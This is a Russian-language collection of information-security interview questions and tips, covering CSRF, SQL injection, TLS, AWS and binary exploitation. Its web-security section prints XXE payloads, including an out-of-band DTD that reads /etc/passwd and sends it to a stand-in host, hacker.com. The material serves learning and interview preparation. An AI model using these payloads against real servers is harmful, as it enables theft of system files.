Советы по собеседованию (Информационная безопасность)
Эта страница — сводка собеседований, через которые я прошёл, охватывающая довольно широкий круг ролей; были и отказы, однако я учился на каждом собеседовании, собирал конструктивную обратную связь и двигался дальше.
Надеюсь, эти вопросы/советы помогут вам.
Роли, которые оно в целом охватывает, следующие:
- Стажёр по кибербезопасности
- Стажёр по тестированию на проникновение / Red Team
- Стажёр по безопасности веб-приложений
- Стажёр по безопасности продукта
- Стажёр по безопасности инфраструктуры
Быстрый совет:
- Заранее просмотрите своё резюме и задайте себе вопросы по нему
- Если вы не знаете какой-либо вопрос/концепцию, не ходите вокруг да около, дайте понять, что вы можете этому научиться, если будет среда для работы
Вы не можете знать всё, будьте скромны и признайте, если ответили неправильно или вам нужно уточнение
- Подготовьте заранее короткую биографию о себе для самопредставления
- Чётко понимайте свою конечную цель и почему именно infosec?
- И последнее: в конце собеседования обязательно спрашивайте обратную связь, почему, потому что: это помогает выявлять и заполнять пробелы в ваших текущих знаниях в infosec
Я постарался записать все возможные вопросы, которые мне встречались, и для некоторых дал ответы.
Остальные вы можете загуглить, чтобы найти конкретные ответы, если хотите копнуть глубже. Кроме того, в конце есть несколько ссылок, взгляните на них. Они были действительно полезны.
Я с радостью добавлю больше вопросов по мере продвижения и проверки моих заметок, однако буду признателен, если вы дадите конструктивную обратную связь об этом, связавшись со мной по адресу [email protected].
Если вам встретилось что-то, что здесь не описано, не стесняйтесь поделиться.
Распространённые вопросы
- Триады безопасности:
Что такое CIA?
- Конфиденциальность (Confidentiality)
- Целостность (Integrity)
- Доступность (Availability)
Что такое AAA?
- Аутентификация (Authentication)
- Авторизация (Authorization)
- Учёт (Accounting)
- Разница между угрозой, уязвимостью, эксплойтами и риском и как они связаны с активами
- Угроза:
Угроза — это то, от чего мы пытаемся защититься
- Уязвимость:
Уязвимость — это слабое место или пробел в наших мерах защиты
- Эксплойт:
Возможность/программа (может быть программным обеспечением или навыком социальной инженерии), созданная для атаки на актив с использованием уязвимости
- Риск:
Риск — это пересечение активов, угроз и уязвимостей
- Актив:
Актив — это то, что мы пытаемся защитить
- Что такое IAM и почему он используется?
IAM — это Identity Access Management (управление идентификацией и доступом), который используется для разделения ролей и обязанностей внутри организации. Это критически важный элемент безопасности. Он помогает поддерживать безопасность и привилегии на уровне доступа
Безопасность в целом
Этапы сетевого вторжения:
- Разведка / сбор информации
- Получение необходимого доступа
- Поддержание доступа
- Сокрытие следов (удаление журналов, бэкдоров и скрытие всех средств управления)
Безопасность веб-приложений
- Частый вопрос:
-
OWASP Top 10
-
Что такое XSS (межсайтовый скриптинг, Cross-site Scripting)
-
Что такое CSRF
Это самый любимый вопрос, который чуть ли не каждый интервьюер обожает задавать
Быстрый совет: Будьте кратки, объясняйте всю историю, только если спросят
Cross-Site Request Forgery (CSRF) — это атака, которая заставляет конечного пользователя выполнять нежелательные действия в веб-приложении, в котором он в настоящее время аутентифицирован. CSRF-атаки нацелены на запросы, изменяющие состояние, а не на кражу данных, поскольку у атакующего нет способа увидеть ответ на подделанный запрос. С небольшой помощью социальной инженерии (например, отправка ссылки по электронной почте или в чате) атакующий может обмануть пользователей веб-приложения, заставив их выполнить действия по своему выбору. Если жертва — обычный пользователь, успешная CSRF-атака может заставить его выполнять запросы, изменяющие состояние, например переводить средства, изменять адрес электронной почты и так далее. Если жертва — административная учётная запись, CSRF может скомпрометировать всё веб-приложение.
-
Как противостоять CSRF:
Используйте анти-CSRF токены
Используйте политику same-origin
Использование заголовка Referrer
-
Что такое HTML/URL-кодирование
-
Является ли протокол HTTP протоколом без состояния (stateless)?
HTTP — изначально протокол без состояния, однако сервер использует cookie, чтобы сделать его сохраняющим состояние
-
Какие существуют типы инъекций: SQL, Command, OS
-
Как противостоять SQL-инъекциям
Используйте параметризованные запросы и хранимые процедуры
- Проверьте заголовки, которые помогают обеспечить безопасность (посмотрите URL-адреса и изучите содержимое — это поможет заложить ваши основы):
- Бывают редкие случаи, когда интервьюер может спросить об этом; я сталкивался со следующим на более поздних этапах нескольких собеседований и решил упомянуть:
- Что такое XXE (XML External Entities)?
Внедрение внешних XML-сущностей (также известное как XXE) — это уязвимость веб-безопасности, которая позволяет атакующему вмешиваться в обработку XML-данных приложением. Она часто позволяет атакующему просматривать файлы на файловой системе сервера приложения и взаимодействовать с любыми внутренними или внешними системами, к которым само приложение имеет доступ.
Ознакомьтесь [https://portswigger.net/web-security/xxe]
Напр.:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
В некоторых ситуациях атакующий может расширить XXE-атаку, чтобы скомпрометировать базовый сервер или другую внутреннюю инфраструктуру, используя уязвимость XXE для выполнения подделки серверных запросов (Server-Side Request Forgery, SSRF).
- Out-Of-Band (внеполосная передача) — с помощью XML-сущностей данные с сервера могут быть перехвачены и отправлены на hacker.com (вывод с сервера не требуется)
Для внедрения: document.xml
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://hacker.com/evil.dtd">
%remote; %intern; %xxe;
]>
<root>&xxe;</root> - you can change xxe entity to general entity
Внешний хост: http://hacker.com/evil.dtd
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % intern "<!ENTITY % xxe SYSTEM 'http://hacker.com/result-is?%payl;'>">
--- OR ---
<!ENTITY % intern "<!ENTITY % xxe SYSTEM 'file://%payl;'>"> - consider error-based
Ссылка: [https://phonexicum.github.io/infosec/xxe.html]
Сетевая безопасность
- Разница между симметричной и асимметричной криптографией
- Разница между криптографией с открытым ключом и асимметричной криптографией: это одно и то же Вопрос с подвохом
- Режимы шифрования (напр., EBC, CBC и т.д.)
- Что такое Perfect Forward Secrecy (совершенная прямая секретность)
[https://scotthelme.co.uk/perfect-forward-secrecy/]
Проще говоря, основная задача PFS — гарантировать, что в случае компрометации закрытого ключа сервера атакующий не сможет расшифровать какие-либо предыдущие TLS-соединения. Perfect Forward Secrecy возможна благодаря использованию эфемерного обмена ключами Diffie-Hellman, который предоставляет новые ключи для каждого сеанса и действует, пока активен сеанс.
- Понимание cipher suite (набора шифров):
Пример: TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
https://scotthelme.co.uk/https-cheat-sheet/
- При сжатии данных и шифровании что происходит первым: сжатие или шифрование?
Сначала происходит сжатие, поскольку энтропия (разброс) случайности в данных низкая, поэтому можно достичь большего сжатия; следовательно, выгоднее сначала сжать, а затем зашифровать.
- Разница между шифрованием, кодированием, хешированием и обфускацией
https://danielmiessler.com/study/encoding-encryption-hashing-obfuscation/
- Что такое радужная таблица (Rainbow-table): Кратко: это коллекция предвычисленных хешей
- Как работает TLS?
Это удивительное изображение, на которое я наткнулся; оно помогло мне понять TLS простым языком
http://i.imgur.com/5T2fJsG.png
- Что такое подпись сертификата (Certificate Signing)
- Как работает Traceroute
- Как работает Nmap
- Что такое центр сертификации (Certification Authority, CA)
- Что такое DMZ и какие компоненты в него входят
- По какому порту работает ping?
Вопрос с подвохом, безусловно, но важный.
Подсказка: ICMP — это протокол 3-го уровня (он не работает через порт). Хорошая вариация этого вопроса — спросить, использует ли ping TCP или UDP. Любой ответ будет ошибочным, поскольку это протоколы 4-го уровня.
Облачная безопасность
В целом буду говорить на примере AWS, однако есть и другие облачные провайдеры, такие как Azure, GCP, Digital Ocean и т.д.
- Общие компоненты AWS:
S3, EC2, Buckets, IAM, Cloud trial, Cloud watch
- Что такое IAM и его компоненты: если кратко, IAM используется для управления доступом (Access Management), где для функционирования используются роли (для временного доступа), политики, группы и пользователи
- Что такое EC2: это Elastic-инстанс для развёртывания виртуальной машины
- Есть ли в EC2 шифрование: Да, есть. Шифрование Amazon EBS предлагает простое решение для шифрования ваших томов EBS без необходимости создавать, поддерживать и защищать собственную инфраструктуру управления ключами. Шифрование Amazon EBS использует главные ключи клиента (customer master keys, CMK) сервиса AWS Key Management Service (AWS KMS) при создании зашифрованных томов и любых снимков (snapshots), создаваемых из них.
Больше можно найти ... ниже
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html
Бинарная эксплуатация
- Инструменты, которые можно использовать для отладки бинарных файлов:
Linux: gdb, radare, clutter (GUI для radare)
Windows: IDA, Binary Ninja
- Что такое переполнение буфера (Buffer Overflow)
- Что такое уязвимость форматной строки (Format String)
- Разница между областями стека (Stack) и кучи (Heap) (стоит также рассмотреть области Code, Text и Bss)
- Что такое стековые канарейки (Stack Cookies)
- Что такое ASLR и почему он используется?
- Что такое неисполняемая память?
Ссылки
Обучающие ресурсы:
https://regexone.com/ (Регулярные выражения обязательны!)
https://portswigger.net/web-security/
OWASP Top 10:
https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf
Вопросы по инфобезопасности на собеседованиях:
https://danielmiessler.com/study/infosec_interview_questions
Топ вопросов по пентесту:
https://resources.infosecinstitute.com/top-30-penetration-tester-pentester-interview-questions-and-answers-for-2019/#gref
Советы по Python:
https://www.codementor.io/sheena/essential-python-interview-questions-du107ozr6
Руководство пользователя AWS:
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/concepts.html
Понимание SMB и Samba:
https://fitzcarraldoblog.wordpress.com/2016/10/17/a-correct-method-of-configuring-samba-for-browsing-smb-shares-in-a-home-network/